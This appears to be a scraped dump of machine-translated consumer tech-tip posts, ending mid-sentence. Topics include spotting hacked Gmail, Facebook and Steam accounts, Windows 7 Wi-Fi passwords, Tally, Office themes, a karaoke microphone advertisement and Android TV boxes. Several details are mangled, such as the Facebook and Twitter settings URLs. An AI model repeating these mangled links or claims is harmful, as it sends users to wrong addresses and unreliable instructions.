Gmail main interface.\n  A window that looks like this will appear:\n  Do you recognize the devices and IP addresses listed here? If the answer is no, and you see a place that looks very strange (such as this place is in another country that you have never been to), that could be a sign that someone has logged in to the account. Your Gmail. In that case, click on the ' Sign out all other web sessions ' option. This option will force anyone (except you) to log out of your account and change your password immediately.\nNext, visit the Google account security dashboard, perform a security check and complete the steps. Please review which applications have access to information on your account. Do you recognize those applications? If not, revoke the access rights. Here, users can also see if there are any security measures, as well as check the two-factor authentication settings for Gmail.\nFinally, check to see if hackers have added any filters, email redirects or forwarding settings to stealthily steal your email and hide the fact that they did it. Don't forget to check the trash to see if any forwarding emails have been deleted by hackers.\nIf you find anything suspicious, change your Gmail password immediately.\nMicrosoft Outlook 'Giant' email service Microsoft provides the same mechanism as Google. Visit https://account.microsoft.com/security and click Review Activity to view recent logins and other activities.\nThis option will take the user to a page that looks like this:\n  If you see anything suspicious, go back to the main Security page and then click the Change Password option .\nYahoo Like Google and Microsoft, Yahoo gives users the ability to view some information about the device and which IP address was used to log into the account.\nTo see this data, visit https://login.yahoo.com/account/activity.\n  If you click on the individual devices displayed in the test list, you can see more information about the IP address, time and location of the login in the last 30 days.\nYahoo also has a site that helps users identify legitimate Yahoo sites, requests and contact information to help users discover fake pages.\nIf anything unusual happens on the Recent activity page , change the password immediately.\nFacebook This social network has a series of tools to help users find out if something unusual is happening or not. Visit the Security and Login page of Facebook (https://www.facebook.com/sinstall?tab=securance). Here, users can see the logged-in place, a feature similar to Gmail.\n  If moving to the device name section, its IP address will be displayed.\nUsers should enable ' Get alerts about unrecognized logins ' settings, let Facebook alert if someone signs in from your IP address or new location to your account.\nIf you think someone has broken into your account, check out the App passwords and Authorized Logins section to see if there's anything suspicious or not. If yes, delete it. If you think something is wrong, change your Facebook password immediately. That also helps log out any hacker.\nFurther reference: How to know your Facebook has been hacked\nTwitter This blog service has no details to find out if your account has been hacked. If you're still worried, visit https://twitter.com/sinstall/simes and see which device has been used to access your account. Unfortunately, this option does not display the IP address.\n  Again, if you see anything suspicious, log out and then change the password. Also, take a moment to review the applications that have access to your Twitter account here.\nInstagram This photo sharing social network has a feature to check previous logins, but the data types displayed are quite limited. All the user can see is the date and time of login, no location, no IP address.\nTo check, visit https://www.instagram.com/accounts/access_tool/ and click View All under Activity, Logins .\n  If using the mobile application, click the Hamburger menu in the top right corner, then select Settings in the lower right corner, scroll down to the Privacy and Security section and click Account Data. Then continue scrolling down and clicking All under Activity, Logins .\nIf you see a suspicious login (which is a little hard to identify), change your password immediately.\nSteam This video player platform does not allow users to see which computers or IP addresses are logged in. But if you are worried about hacked hackers, go to https://store.steampowered.com/account/, click Manage Steam Guard in Account Security, then click 'Deauthorize all other devices'.\n  This will force anyone else to log in to your account. After that, change your password immediately.\nSee more:\nGoogle instructs how to handle when a website is hacked How to identify a link is safe? How to get back Facebook is hacked and lose registration email How to retrieve a hacked Facebook account ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOepMRutcVmnZqblZe8sLeMoqWsrJGcv6K5jKCmqJ%2BcmnqiusNmpq2glad6tLvCopilZZ6awbi70aSqZqCRq7JursSepWagkZi4prA%3D\n","link":"/post/how-to-know-if-facebook-instagram-google-and-other-social-networks-have-been-hacked/","section":"post","tags":null,"title":"How to know if Facebook, Instagram, Google and other social networks have been hacked"},{"body":" Do you have a picture or computer drawing that could use some excitement? Do you want to make it shine? Then you need to make sparkles in Microsoft Paint! ==== Basic Sparkles ====\nMethod 1of 1:\nSparkle Effect Basic Sparkles  Open your Paint program. This is located in the start button, under programs, then accessories.\n  Click on the Magnifying zoom button click on 8x.\n  Click on the paintbrush button and select the smallest circle shape.\n  Make a shape that looks like this:\n Make several of these, because if you only make one, it will not look like anything.\n Medium Sparkles Start by just making a simple sparkle\n Dots one pixel/square away from the design like this: You don't need as many of these as you do the basic smaller ones.\n Larger Sparkles Start with the basic sparkle\n Put pixels/dots in the corners,\n Put pixels on in the middle of each side\n Add 2 more pixels on to the end like this\n Add two diagonal pixels on to the end like this. Don't put too many of these in your picture however, or it will look tacky.\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuv8%2BaqaSklah6qrqMpqCcqp%2BovKfAjKmYoqak\n","link":"/post/how-to-make-sparkles-in-microsoft-paint/","section":"post","tags":null,"title":"How to Make Sparkles in Microsoft Paint"},{"body":"If someone asks you what Wifi password you are using to access it, you suddenly \"forget\" it. So how's this? Is there any way to see the Wifi password? Please refer to our tutorial below (applicable to Windows 7 ).\n9 ways to speed up Wifi effectively Instructions for fixing Wifi errors with yellow exclamation Search for free wifi waves Method 1: Step 1 : On the Taskbar, you click on the Wifi wave column icon. Click the name Wifi to view the password and select Properties\n  Step 2 : When the Wireless Network Properties window appears, tick the Show characters box. At this time, the password in the Network Security Key box will be displayed as a character for you to view easily ( to ensure safety, by default this box will display ***** ). Once you have seen the password, click OK to close this window.\n  Method 2: Step 1 : You right-click on the Wifi column icon on the Taskbar, select Open Network and Sharing Center .\n  Step 2 : Right after that the Network and Sharing Center window appears, click Manage wireless networks in the left column of the screen.\n  Step 3 : Here will list all the Wi-Fi networks you have ever visited. If you want to see which Wifi password, just double click on Wifi.\n  Step 4 : Then the Wireless Network Properties window appears, you click on the Security tab and then tick the Show characters box. Now the password in the Network Security Key box will display as a character for you to see. After viewing, click OK to close this window.\n  Note : In the process of connecting the user must check the Remember Password box to see the Wifi password.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVmnq4tcWiZKmZo6jEsL7DZqanZaeeu6W71qxkcA%3D%3D\n","link":"/post/how-to-see-wifi-password-on-windows-7/","section":"post","tags":null,"title":"How to see Wifi password on Windows 7?"},{"body":"Tally 9 ERP is an accounting program that lets you track and manage all of your accounts, sales, debts, and everything else related to the running of your business. Tally 9 is primarily used in India, and you can test it out for free. With...\nPart 1of 3:\nSetting Up Tally  Install the Tally software. Tally 9 ERP can be purchased and downloaded from the Tally website. You can download a 30-day trial version if you're not sure if you want to use it yet. Tally 9 is for Windows only. You can also use Tally in Educational Mode, which allows you to learn how to use the software without having to purchase a license. Some features are restricted in this mode.\n  Navigate Tally. Tally is designed to be navigated by using the keyboard. While you can click any option you want, everything in Tally has a keyboard shortcut. Usually, the key is displayed next to each available option. Learning how to get around with the keyboard will increase your efficiency.\n  Create a company. In order to use Tally, you will need to create a company in the program. Even if you aren't using Tally professionally, you still need to create a company. In the opening menu, select \"Create Company\". This will take you to the Company Creation screen, which will allow you to enter in your company details. Enter in your company name as it appears on your banking records. Enter your company address, statutory compliance, telephone number, and email Turn on \"Auto Backup\" to ensure that a copy of all your work is saved in case something happens to the original. Choose your currency. If you are using Tally to just manage your accounts, select \"Accounts info\" in the Maintain menu. If you are using Tally for inventory management as well, select \"Accounts with inventory\". Enter the start of your financial year and the start date for the books.  Part 2of 3:\nCreating Ledgers  Understand what ledgers are for. Ledgers record all of the transactions for that account. You will need to create a ledger for each account that you do business with. There are two ledgers included: \"Cash\" and \"Profit and Loss Account\". You can create as many other ledgers as you need. When creating accounts for other parties, under Sales or Purchase (revenue), they must be listed as Sundry Debtors, Sundry Creditors or Branch/Divisions. Place the party in the group that they closest relate to. For example, A party that you sell more to than you buy from would be a Sundry Debtors account.   Open the Create Ledger window. Select \"Accounts Info\" from the Gateway menu. Choose the \"Ledgers\" option. You can then choose to create a single ledger or create multiple ledgers.\n  Select the group. The first thing you will need to do when creating a ledger is to select which group it will be assigned to. Selecting the right group is important, as it will affect how numbers and sales are totaled later. The list of available groups will be on the right side of the screen.\n  Give the ledger a name. Enter a name for your ledger. This will allow you to easily know what the ledger contains without having to open it.\n  Enter an opening balance. When creating a ledger, you will need to indicate the balance that the ledger is starting with. If you are creating a ledger for your bank account, this would be the amount currently in it. If you are starting a ledger for the amount owed to a contractor, the amount you owe would be the starting balance.\n Part 3of 3:\nCreating Vouchers  Understand the purpose of vouchers. A voucher is a document that contains the details of a financial transaction. Vouchers are used for all aspects of a business, from sales to deposits. Tally comes with several of the most popular types of vouchers pre-configured.\n  Open the Vouchers page. From the Gateway menu, select \"Accounting Vouchers\".\n  Choose the voucher you want to create. On the right menu, you will see a list of available vouchers you can create. Select the one that meets your needs best. Contra Voucher (F4) - Contra vouchers are for when money is deposited or withdrawn for the bank, or transferred between two accounts in the same company. Payment Voucher (F5) - This voucher is for payments made by the business. Receipt Voucher (F6) - This voucher is for any income made by the company (sales, rent, interest, etc.) Journal Voucher (F7) - Transactions that don't relate to sales, purchases, cash, or other income. Mostly used for adjustments and opening and closing balances. Sales Voucher/Invoice (F8) - This voucher is for all sales made by the company. Purchase Voucher (F9) - This is for the purchase of assets by the company.   Enter in the required information. The information needed to complete the voucher will vary depending on the type of voucher you want to create. You will typically need to determine which ledger the voucher will be attached to, as well as enter the date and names of any involved parties. If you are entering products being purchased or sold, Tally will automatically calculate totals based on the quantity you select.[1]  tally create  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1rculsA%3D%3D\n","link":"/post/how-to-use-tally/","section":"post","tags":null,"title":"How to Use Tally"},{"body":"On Office 2016, Microsoft has improved some new features. It is worth noting that the Office 2016 interface is integrated with a dark theme.\nOn Office 2013, you can choose one of three color themes for Office including white (White), light gray (Light gray) and dark gray (Dark gray) in the File settings =\u0026gt; Account =\u0026gt; Office Theme. However, on Office 16, this setting is transferred to the Options and dark theme color named Black.\nIf the old interface on Office is too boring, you can set it to the new interface to experience more.\nActivate the dark color Theme on Office 2016: 1. Method 1 Step 1:\nOpen any Office 2016 application (excel, word .).\nStep 2:\nClick File then click Options .\n    Step 3:\nIn the General tab, you find the Office Theme option .\n  \nStep 4:\nHere in the Office Theme section, select Dark Gray from the dropdown menu, then click OK to apply the theme you choose.\nNote: When you select a dark color theme on Word, then this Excel and PowerPoint theme also applies this dark theme.\n2. Way 2 Step 1:\nLaunch the Office 2016 application.\nStep 2:\nClick File then click Account.\n  \nStep 3:\nIn the right pane, under Office Theme, click on the theme of Dark Gray .\n  Refer to some of the following articles: How to change the default save file format in Word, Excel and Powerpoint 2016? Trick to customize the Quick Access Toolbar on Office 2013 Instructions on how to fix Microsoft Office 365 errors Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaZk6m2t63ToqWgZaSdsm6wwKuiZpufobyzedOhnKadXaS7brvFn6CcnV1nfXKC\n","link":"/post/instructions-for-activating-the-dark-color-theme-on-office-2016/","section":"post","tags":null,"title":"Instructions for activating the dark color Theme on Office 2016"},{"body":"In this article, TipsMake.com will introduce you to the quality karaoke microphone, worth buying the most today for you to have relaxing, entertaining moments with family and friends!\nMusic has long been an indispensable spiritual food in life to help dispel all stress, fatigue and connect people closer together. Devices like micro karaoke, karaoke speakers . which can meet the needs of singing and entertainment of people very well, but require to be set up, arranged and arranged in a professional way to bring quality is good, so not everyone has the conditions to use it at home. Therefore, in recent times, the appearance of Bluetooth karaoke microphones that can be used without installation has brought a new and exciting home singing experience for everyone. Learn more about this device and choose a karaoke microphone on smartphones, tablets, TVs . best suited for me!\nQuick review of content What is Bluetooth karaoke microphone? What note to buy good Bluetooth karaoke microphones? Sound quality Material Function Battery capacity Price Trademark  Buy Bluetooth karaoke microphone of any kind? Note using Bluetooth karaoke microphone properly What is Bluetooth karaoke microphone? Karaoke microphone connected with Bluetooth speakers is actually a microphone with built-in speakers and capable of connecting to smart entertainment devices with Bluetooth wireless connectivity. The microphone is the same size as the traditional microphones, but with additional speakers, the square design is arranged just below the mic wrap.\n  Karaoke microphone with speaker unit connected to entertainment equipment via tablet computer for karaoke, listening to music . utilities.\nThis type of karaoke microphone integrated Bluetooth speaker can be widely used for many different purposes such as: singing online on social networks or on channels live stream streaming video on the Internet such as Youtube, Facebook . . singing entertainment at home or at class meetings, wedding parties .; used in presentations, lectures, meetings . like a traditional microphone. With the advantage of being wireless, this Bluetooth karaoke microphone is very compact, flexible, easy to move and carry to every location. In addition, the mic is also able to flexibly connect with smartphone, tablet, smart TV devices . via Bluetooth to bring the most entertaining and convenient karaoke experience.\nWhat note to buy good Bluetooth karaoke microphones? Sound quality The prerequisite for identifying a good Bluetooth karaoke microphone is the sound quality of the product. Some points you will need to keep in mind when purchasing this product are to choose microphones that have:\nHigh sound sensitivity : make sure your voice is good, true, without distortion in tone, reducing the quality of singing. High sound quality : the sound transmitted from the mic must be clear, not shy, noisy. Good signal quality : ensure strong waves, no loss of waves, weak waves, interference . causing signal loss or micing. Material To ensure safety when using Bluetooth karaoke microphones as well as enhance durability for products, you should prioritize the selection of mic models made from safe and solid materials such as high quality plastic, stainless steel . To avoid affecting health, avoid incidents while singing and product life is long.\nFunction A Bluetooth karaoke microphone on the phone needs to have enough basic functions such as volume up and down (volume), increase echo (echo), forward or rewind the song, stop the song. Also, depending on the type of mic, there may be other utilities such as turning the microphone into a portable speaker to play music or sing and record .\nBattery capacity Although the microphone with Bluetooth speaker singing karaoke can be charged via USB very quickly and conveniently, but to ensure a long continuous use time, do not worry about being interrupted because of out of battery while singing, speaking, you Should choose a mic with a battery capacity of 2,000mA or more, meet the need for continuous use for 4 hours. The large battery also helps you not to sing and charge, to avoid overheating the battery and causing a fire or explosion.\nPrice The price of Bluetooth microphones on the market today is quite diverse, with only about 200,000 VND, but also about 2 million VND. You should consider the price to suit your budget and needs, but you should not choose too cheap mic types that are floating, unknown origin to ensure quality, durability and properties. Safety of products.\nTrademark A sure point you can not ignore is the brand of wireless microphone singing karaoke integrated Bluetooth speakers. Prestigious brand and specialized in producing audio and entertainment equipment will be produced from high quality materials, carefully refined, ensuring sound quality when singing, ensuring durability and safety. for users. Some brands for your reference such as:\nMagic Sing : a brand from Korea, specializing in the production of music players, karaoke equipment . Arirang : brand of Maseco company, Vietnam, specializing in manufacturing loudspeaker, amplifier, mic . Micgeek : a brand from China, specializing in producing karaoke microphone products for smartphones with built-in Bluetooth speakers.\n Tuxun : a brand from China, specializing in producing various types of microphones with the line of wired microphones, wireless microphones, Bluetooth microphones singing karaoke.\n Tosing : a brand from China, specializing in the production of Bluetooth karaoke microphones and karaoke speakers, with products specifically designed for babies.\n Buy Bluetooth karaoke microphone of any kind? One of the karaoke microphone for phones with the most popular Bluetooth speaker is now the Magic Sing MP-30 from Korea. The Magic Sing MP-30 is certified by the US FCC standard for quality, so although this wireless microphone is currently on the market for $ 1.8 million, the price is said to be quite high, but Many consumers still choose because of their outstanding advantages. Let's find out!\n  Karaoke microphone with Bluetooth speaker Magic Sing MP-30 has a compact design.\nModern design, stable quality Micro karaoke Bluetooth Magic Sing The MP-30 has a modern, sturdy design with elegant black color that combines golden borders as accents and a color-changing LED system that gives you the atmosphere of being in a professional karaoke room. career. Designed on wire transfer modern technology with high-quality materials, the mic is of good quality, certainly when held in hand, especially the outer insulation layer will ensure safety for users while singing.\nSuperior sound quality, software comes with utilities The Magic Sing MP-30 is capable of standard broadcast, does not cause interruption when singing, produces more detailed, warm and resonant sounds so the feeling of singing is very realistic and good. The buttons on the control panel are conveniently arranged, easy to manipulate, with many features such as bass tuning, Treble sound, ECHO, music correction; In addition, other functions are indispensable such as mic volume adjustment, pre / post transfer, pause songs and on / off buttons.\n  Buttons to adjust sound, song, volume . on Karaoke microphone Magic Sing MP-30.\nWith Li-ion battery capacity up to 2,200 mAh, you can use Magic Sing mic MP-30 to sing for 5 hours continuously after fully charging for 2-3 hours via USB charging port. In addition to this wireless Bluetooth connection or via this USB port, Bluetooth MP-30 karaoke microphone can also connect to electronic devices via 3.5mm jack very easily and conveniently when you need a speaker to listen to entertainment music.\nThe Magic Sing MP-30 comes with the app Music Magico, available for iOS and Android operating systems, bringing you many utilities such as a song store of over 200,000 songs, updated with new songs weekly, saving song data with only 0.05MB / song, having a melody song for the chorus and singing with ease, with an international phonetic version for songs with lyrics in figurative language, allowing adjustment of accompaniment music and instrument volume, capable of recording vocals through headphones, with international phonetic transcription for lyrics with pictorial language .\n  Buy Magic Karaoke microphone Sing MP-30 donate millet legs.\nHopefully the above information has helped you better understand the Bluetooth karaoke microphone as well as the Sing Singing MP-30 mic which is very hot right now. Now you can buy this microphone at META.vn for only VND 1.5 million (including VAT), saving up to VND 300,000 compared to the market price . In particular, if you buy goods before January 15, 2019, you will receive an additional gift with a microphone stand, which will definitely give you a more 'adventurous' feeling as a singer standing on a professional stage .\nIf you want to be consulted and ordered immediately Magic Sing MP-30, the best Bluetooth microphone to sing karaoke today to have fun and entertaining moments with your family and friends, especially in the Lunar New Year. coming very close now, please visit the META.vn website to order online or call Hanoi hotline 024.35.68.69.69 - TP. HCM 028.38.33.33.66 for the fastest purchase support!\nNote using Bluetooth karaoke microphone properly To use Bluetooth microphones to sing karaoke with smartphones, you only need to perform 3 simple steps as follows:\nTurn on the microphone via the power button ON. Activate your phone's Bluetooth and then go to this Bluetooth settings to find the name of the microphone to connect. After a successful connection, you can go to online music sharing sites, YouTube or the app's app, choose your favorite songs and sing. During the singing process, you can customize the volume, post, pause the song, customize the sound . with the mic buttons.\nIn addition, you note that to use karaoke mic Bluetooth is safe, avoid unfortunate incidents, you need to pay attention to turn off, do not use the device when charging; After fully charging according to the manufacturer's instructions and recommendations, you should withdraw the charger immediately; During the singing, sometimes the mic should be taken off and the mic should not be turned on at a loud volume; Keep the mic dry, without spilling water, liquid . onto the mic.\nSee more :\nTop 3 models of karaoke speakers are the youngest favorite today Instructions for installing bluetooth microphones on the phone ncG1vNJzZmismaXArq3KnmWcp51kuKK%2BwKiinmWblr%2Biu8qeZKahk6e8sbTOp5xmp5Zirq%2FFjKSgp5xdqLWwwcudZJutqWLBqbGMpqasrF2pvKWt2A%3D%3D\n","link":"/post/karaoke-karaoke-microphone-of-any-kind-should-buy-the-most-today/","section":"post","tags":null,"title":"Karaoke karaoke microphone of any kind, should buy the most today?"},{"body":"Piracy, activation, and pirated use are quite common and Microsoft also has 'closed eyes and open eyes'. But recently, the company unexpectedly sued an IP address for acts of pirating Windows and Office licenses.\nSpecifically, in the complaint, Microsoft stated, the IP address (73.21.204.220) comes from Comcast's office in New Jersey, the United States has been nicknamed John Does 1-10 by an individual or a group of people. Use for unauthorized activation not less than 1000 times the software copy.\n  Between December 2014 and July 2017, the defendant contacted Microsoft activation server in Washington for 2800 times, then transferred details from the server to activate the software. . This makes Microsoft suspicious, this IP address may be from a store specializing in installing unauthorized software to sell products.\nThe software is illegally activated including Windows 7, 8, 10 and Microsoft Office Professional Plus 2010.\n  Microsoft can monitor all cases of pirated copyright activation in the world. But because the number of illegal copyright activites in the world is so large, it is impossible to prevent and sue all the violations.\nCurrently in the world especially China, two of the most pirated products are Windows and Office. In China, there are 9 out of 10 Windows versions installed on computers that are pirated versions, this is the 2014 data.\nAlthough he has not confirmed the official identity of the defendant sued, Microsoft will certainly win the hand.\nSee more:\nThis is how to check your Windows 10 is Win copyright or not? How to check Windows usage time 21 best free software key finders 2017 Instructions for linking Windows 10 Product key to Microsoft account ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsC2sdJmmKdlmaV6orDDq5ysq12bvLN5wJyroq6Rqbavs4ypoKuZk656sMLEq2RqaGBlerex0aygqKajYrynedaipZ2np6h6orrDZqafnpmYsg%3D%3D\n","link":"/post/microsoft-sues-an-ip-address-for-activating-piracy-over-1-000-versions-of-windows-and-office/","section":"post","tags":null,"title":"Microsoft sues an IP address for activating piracy over 1,000 versions of Windows and Office"},{"body":"1. Re-enable speakers and headphones on Windows computers Step 1: At the main interface of the screen, open the Start Menu and enter Control Panel to open.\n  Step 2: Then, select Hardware and Sound to open the sound settings.\n  Step 3: Next, you select Change system sound to change the sound output source.\n  Step 4: Here, go to the items related to Speakers, headphones (Speakers, Headphone) to right-click and select Enable to activate them.\n  2. Scan and update drivers for hardware In some cases, the failure to recognize the device and the driver is also the cause of the inability to start the audio devices. To solve this problem we will need to update the driver manually for the computer.\nStep 1: You proceed to right-click This PC and select Manage .\n  Step 2: Then, go to the Device Manager tab to manage the connected drivers on the computer. Here, you proceed to open the Audio inputs and outputs section to see the specific input and output audio sources.\n  Step 3: In case you feel that they lack some audio input or output sources, right-click Audio inputs and outputs to select Scan for hardware changes .\n  Step 4: Finally, you right-click on the small items inside and select Update Driver to update the new driver for them.\n  3. Use the Windows Repair Tool Windows operating system is released with a lot of support features for users, especially support for experience. Troubleshooting tool on Windows 10 has high performance and is very effective on computers.\nStep 1: You proceed to open Settings by pressing Windows + I combination .\nStep 2: Then, you proceed to select Update \u0026amp; Security .\n  Step 3: In the Update \u0026amp; Security section , go to the Troubleshoot tab (1) and select Additional troubleshooters (2) .\n  Step 4: Finally, go to the Playing Audio tab and click Run the troubleshooters to run the Windows audio fixer.\n  Step 5: Now, you just need to wait for the system to run the debugging tool to complete.\n  4. Use Command Prompt's debugger Command Prompt is a popular script on Windows and they allow users to run many different commands on the computer.\nStep 1: You proceed to open the Start Menu and enter Command Prompt to select the Run as administrator item .\n  Step 2: At the main interface of Command Prompt , enter the following command and press Enter .\nSfc/scannow\nAfter the command is run to 100% (complete) you proceed to restart the computer to check.\n  In this article, Tipsmake has shared with you how to quickly and effectively fix No speaker or headphones are plugged in error on your computer. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddm7a5ec2oZKyolZa4pr6MqKlmoJWWsbG0zqecrGWRp7JuvMuunqCdlGK2rw%3D%3D\n","link":"/post/steps-to-fix-no-speaker-or-headphones-are-plugged-in/","section":"post","tags":null,"title":"Steps to fix No speaker or headphones are plugged in"},{"body":"Although many of the latest TVs have smart features for watching online content, you don't need to buy an expensive new TV just for a better streaming experience. Many manufacturers have taken advantage of Google's open-source Android operating system to build set-top boxes of all shapes and sizes. Therefore, accessing services like Netflix, Hulu or watching video content on the big screen has never been easier.\nWhere is the best Android TV Box? Amazon Fire TV Stick 4K - Best overall Nvidia Shield TV - Best to play games EASYTONE Android TV Box - Optional with best value Amazon Fire TV Stick - Choose the best budget Pendoo X8 Mini - Suitable for entertainment purposes MXQ Pro - Best extras MINIX NEO U9-H + - Best customer support Amazon Fire TV Stick 4K - Best overall Reference price: $ 50 (VND 1,166,000)\n  If you're looking to broadcast 4K HDR content on a new TV, but don't need a fully functional Android TV Box, Amazon's latest Fire TV Stick model is the right choice for you.\nWhen plugged into the back of the TV, this cheap device will surprise you! More than 500,000 movies and TV shows are available on Netflix, Hulu, Prime Video and other sources, with support for 4K HDR 10+ and Dolby Atmos audio.\nContent from sites like Facebook, Reddit and YouTube are also available on Fire TV Stick, through the respective applications. In addition, you can also browse other websites.\nNot surprisingly for an Amazon product, the Alexa support feature is integrated and allows you to search for voice content, as well as access a large library of Alexa skills.\nCompact remote control, with volume control, navigation buttons and some other basic buttons.\nNvidia Shield TV - Best to play games Reference price: $ 190 (VND 4,430,000)\n  When it comes to high-end Android TV Box, there is a more prominent option than the other competitors. Nvidia Shield TV is a high-end device, with high quality components, offering a set of features that no other product has ever had.\nAlong with delivering high-resolution 4K HDR content from Netflix and Amazon Prime Video, Nvidia Shield TV supports Dolby Atmos and DTS-X surround sound.\nHowever, the fun doesn't stop when watching only your favorite movies and shows. Nvidia Shield TV also has a high-end computer graphics card in the Shield TV box, allowing you to play multiple video games without connecting to a console or computer. Besides, Nvidia Shield TV also comes with a good Bluetooth controller.\nGames like Fortnite, Assassin's Creed and Grand Theft Auto are available, using Nvidia's GeForce Now online game platform, as well as many Android, Wii and Gamecube games (the latter two must be through the emulator). .\nNvidia Shield also supports full Kodi and Plex, so you can play your own audio and video content library as easily as streaming. Finally, you can also connect USB or hard drive to this box to add storage space.\nEASYTONE Android TV Box - Optional with best value Reference price: $ 48 (VND 1,119,000)\n  Many small manufacturers offer inexpensive Android TV Boxes and often don't have much difference between them. But this Easy Tone model has a few features that make it stand out from the rest.\nRunning the latest Android version (8.1), EASYTONE Android TV Box uses the 4-core RK3328 processor in combination with 4GB of RAM, providing fast performance even when transmitting 4K video. 32GB of available storage provides plenty of space for any set of Android apps you like. EASYTONE Android TV Box has support for both Ethernet and Wi-Fi 2.4GHz to connect to home network and Internet, but does not support 5Ghz wireless connection.\nIn addition to the standard ⅛ \"audio jack for connecting to a TV, speaker or headset, EASYTONE Android TV Box also has Bluetooth connectivity, which allows you to listen to your music privately with a Bluetooth headset or transmit sound to Bluetooth speakers without worrying about messy cables, there's also an included remote to control most functions.\nWith better specs and features than most Android TV Boxes at this price range, EASYTONE Android TV Box is a really valuable option.\nAmazon Fire TV Stick - Choose the best budget Reference price: $ 40 (VND 933,000)\n  If you just want to add basic streaming capabilities to your old TV and really don't want to spend a lot of money on it, consider the Amazon Fire TV Stick. For just $ 40, it's the easiest and cheapest way to get Netflix, Prime Video and most other streaming content.\nSetting up Amazon Fire TV Stick is quite easy: Just plug the device into the HDMI port on the back of the TV, press the power button on the remote control, connect to the Internet is done. Web browsing can be done via Silk and Firefox browsers. Use the remote keyboard and on-screen to navigate. Text input may not be comfortable, but Amazon Fire TV Stick has Alexa voice support. You can say something like \"Launch Netflix\" or \"Play Game of Thrones\" and Alexa virtual assistant will do exactly that for you.\nPendoo X8 Mini - Suitable for entertainment purposes Reference price: $ 44 (VND 1,026,000)\n  You don't want to miss your favorite show just because you're away from home, right? The Pendoo X8 Mini, a cheap option, measures only 3.2 x 3.2 x 0.7 inches (8.1 x 8.1 x 1.8 cm) and weighs only 3.5 ounces (99g), small enough to put in a luggage bag and take with you.\nDespite its small size, Pendoo X8 Mini is still powerful enough to stream HD videos. Both audio and video content can be sent via the HDMI port of Pendoo X8 Mini, or via wireless Miracast and Airplay technologies integrated in many modern TVs or speakers.\nOther specifications of Pendoo X8 Mini are quad-core processors, 2GB RAM and 16GB internal memory. This is considered the standard for the cheap Android TV Box like this. Pendoo X8 Mini supports both Ethernet and 2.4GHz WiFi. Having built-in card reader and USB-A slot means that you can expand the available memory via SD card, memory card or hard drive.\nMXQ Pro - Best extras Reference price: $ 55 (VND 1,282,000)\n  MXQ Pro owns a 1GB quad-core CPU, 1GB of RAM, 8GB of storage but flexibility and additional features make it stand out from its competitors in price range.\nIn addition to MXQ Pro, you will receive a remote control to control all standard functions, plus a wireless mini keyboard for easier text entry, especially useful when using MXQ Pro. for web browsing, a feature that some other streaming TV Box does not offer (or is not easy to use).\nUnless you plan to broadcast everything you watch over the Internet, chances are you'll want to upgrade the available memory. Fortunately, that is easy to do via an SD card reader or one of three USB-A ports.\nMXQ Pro has an Ethernet or 2.4GHz WiFi connection. The device is preinstalled with some useful applications, including Kodi, YouTube, Netflix, etc.\nMINIX NEO U9-H + - Best customer support Reference price: $ 128 (VND 2,985,000)\n  You will pay a little extra for Minix Neo U9-H +, but it is worth it. This high-end Android TV Box advertises itself to give users \"the ultimate home theater experience\". Unlike many low-cost TV Box manufacturers, the company regularly updates firmware for home theater equipment. MINIX NEO U9-H + is designed to be solid and very good quality. You can use this device peacefully for several years.\nThis TV Box has support for both Ethernet and dual-band WiFi networks. On the audio side, there are HDMI 2.0 ports, plus SPDIF and 2 ⅛ \"sockets. Three USB-A ports and SD card reader allow you to expand the memory from 16GB. MINIX NEO U9-H + also supports Play content 4k and HDR10.\nOne of the best features of MINIX NEO U9-H + is the Air Mouse, a rotary wireless remote control that lets you control the cursor on the screen, just by moving it. The QWERTY keyboard on the back of the control allows you to easily enter text when searching for content.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdqbyxeZZmmKecoqS2pXnTr2Sbp6g%3D\n","link":"/post/the-best-top-7-android-tv-box/","section":"post","tags":null,"title":"The best top 7 Android TV box"},{"body":"Air purifiers are supposed to improve indoor air quality, but in some cases, it may not be as effective as you think. Finding a quality and affordable air purifier is not that simple. To help readers with a few suggestions, in today's article, TipsMake.com will suggest some of the best Xiaomi air purifiers available on the market. Hope the following information can help you find a product like that!\n1. Mi Air Purifier 3 Mi Air Purifier 3 is one of the most affordable and accessible ways to improve the surrounding air quality, if you live in an area with a high level of air pollution. Now equipped with HEPA filters, Mi Air Purifier 3 performs quite well the task of making sure the room gets the best possible pollutant removal.\nAdvantages:\nMinimalist design Integrated smart home Good price Defect:\nNot as effective as higher-priced models Should improve the ability to integrate smart home at a deeper level Mi Air Purifier, when launched in 2016, took a leap forward in making air purifiers more accessible. Similar models from competing brands are still significantly more expensive and the cost associated with multiple replacement filters is also another factor that affects user decisions. Xiaomi solves these problems by making its products more affordable, enabling more consumers to buy them.\nMi Air Purifier 3 carries the basic design of Mi Air Purifier 2S. The product has a tall and thin box, minimal design and dominant white, suitable for most home decor styles.\n  Mi Air Purifier 3 has a few changes compared to the previous version. The top grille has been moved from a circular cut to a square design. A switch in the internal fan structure comes with this new grille.\n  Besides, the physical buttons have been replaced by a circular OLED panel capable of touch. Switching between modes is now done via the touch panel. The display shows the current AQI levels in the room, with a smaller row showing the ambient temperature, humidity, as well as the selected mode.\n  Mi Air Purifier 3 has finally been equipped with a Class 13 HEPA filter instead of the EPA filter that came with previous models. Interestingly, the Class 13 replacement filter is also compatible with Xiaomi's older air purifiers. This means you will be able to upgrade your old filter during the next filter replacement cycle.\nXiaomi really is a business that convinces users to replace filters, rather than buying a brand new filter.\nHEPA filter comes with Mi Air Purifier 3 which is capable of removing 99.7% of smoke, dust, spores and fine particles. Although it is difficult to test how much this filter improves compared to conventional EPA filters, the independent test air quality sensor shows that this air purifier is definitely in good working order.\n  Along with the HEPA filter, Mi Air Purifier 3 is also equipped with a new centrifugal fan. Xiaomi claims a clean exhaust rate of about 380m³ / hour. This is a significant upgrade from the 310m³ / hour level of the previous model and also has an impact on operating area.\nThe new filter includes deep integration with Xiaomi's Mi Home application and to a lesser extent, with smart ecosystems of Google and Amazon.\nWhen connecting the Mi 3 to the 